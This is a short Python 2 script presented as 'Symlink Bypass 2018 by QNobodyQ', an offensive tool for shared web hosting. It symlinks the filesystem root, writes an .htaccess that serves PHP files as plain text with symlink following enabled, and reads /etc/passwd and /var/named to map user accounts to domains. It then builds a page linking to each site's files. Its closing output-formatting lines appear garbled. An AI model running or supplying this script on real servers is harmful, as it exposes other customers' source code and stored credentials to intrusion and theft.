#/*Python import time import os import sys import re os.system("color C") hta = "\nFile : .htaccess // Basariyla olusturuldu!\n" f = "Tum islemler tamamlandi!\nSymlink Bypass Basarili!\n" print "\n" print "~"*60 print "Symlink Bypass 2018 by QNobodyQ " print " Special Greetz to : QNobodyQ" print "~"*60 os.makedirs('snkby') os.chdir('snkby') susr=[] sitex=[] os.system("ln -s / tr.txt") h = "Options Indexes FollowSymLinks\nDirectoryIndex tr.phtml\nAddType txt .php\nAddHandler txt .php" m = open(".htaccess","w+") m.write(h) m.close() print hta sf = "Symlink Bypass 2018 by QNobodyQ
Symlink Bypass 2018
Made By QNobodyQ

" o = open('/etc/passwd','r') o=o.read() o = re.findall('/home/\w+',o) for xusr in o: xusr=xusr.replace('/home/','') susr.append(xusr) print "-"*30 xsite = os.listdir("/var/named") for xxsite in xsite: xxsite=xxsite.replace(".db","") sitex.append(xxsite) print f path=os.getcwd() if "/public_html/" in path: path="/public_html/" else: path = "/html/" counter=1 ips=open("tr.phtml","w") ips.write(sf) for fusr in susr: for fsite in sitex: fu=fusr[0:5] s=fsite[0:5] if fu==s: ips.write(""%(counter,fusr,fusr,path,fsite)) counter=counter+1
%s%s%s